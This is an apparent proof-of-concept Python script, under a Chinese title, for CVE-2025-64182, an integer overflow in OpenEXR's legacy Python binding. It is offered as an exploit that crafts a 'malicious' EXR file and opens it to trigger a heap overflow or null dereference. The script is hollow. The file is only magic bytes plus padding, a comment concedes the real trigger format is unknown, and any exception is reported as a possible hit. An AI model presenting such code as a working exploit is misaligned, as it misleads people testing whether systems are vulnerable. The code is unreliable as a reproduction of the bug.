CVE-2025-64182 OpenEXR Python适配器整数溢出导致堆溢出/空指针解引用

#!/usr/bin/env python3 """ CVE-2025-64182 PoC - OpenEXR Python Binding Integer Overflow This PoC demonstrates the integer overflow vulnerability in OpenEXR's legacy Python adapter (InputFile.channel() and InputFile.channels()) Note: This is for educational/testing purposes only """ import struct import os def create_malicious_exr(filename): """ Create a malicious EXR file that triggers integer overflow in InputFile.channel() / InputFile.channels() """ # EXR header magic number header = b'\x76\x2f\x31\x01' # Create a malformed EXR with suspicious channel data # that could trigger integer overflow during channel processing with open(filename, 'wb') as f: f.write(header) # Add malicious channel information # The exact format depends on the vulnerability trigger f.write(b'A' * 1024) # Padding data print(f"[+] Created malicious EXR file: {filename}") return filename def trigger_vulnerability(exr_file): """ Attempt to trigger the vulnerability by opening the malicious EXR """ try: import OpenEXR import Imath # Try to open the malicious file exr = OpenEXR.InputFile(exr_file) # This should trigger the integer overflow in channel() # causing heap overflow or NULL dereference channels = exr.channels() print("[-] Vulnerability not triggered or patched") except ImportError: print("[-] OpenEXR Python module not installed") print("[+] Install with: pip install openexr") except Exception as e: print(f"[+] Exception caught (possible trigger): {type(e).__name__}") print(f"[+] Error: {str(e)}") def create_crafted_python_object(): """ Alternative attack vector: Pass crafted Python objects that trigger the vulnerability """ # This demonstrates the alternative attack vector mentioned # in the CVE description print("[+] Alternative attack: Crafted Python objects") print("[+] The vulnerability can also be triggered by passing") print("[+] crafted Python objects to InputFile methods") if __name__ == '__main__': print("=" * 60) print("CVE-2025-64182 PoC - OpenEXR Integer Overflow") print("=" * 60) # Create malicious EXR file malicious_file = "malicious.exr" create_malicious_exr(malicious_file) # Attempt to trigger vulnerability print("\n[*] Attempting to trigger vulnerability...") trigger_vulnerability(malicious_file) # Alternative attack vector create_crafted_python_object() # Cleanup if os.path.exists(malicious_file): os.remove(malicious_file) print("\n[*] PoC execution completed") print("\n[!] Note: Actual exploitation requires specific conditions") print("[!] See: https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr")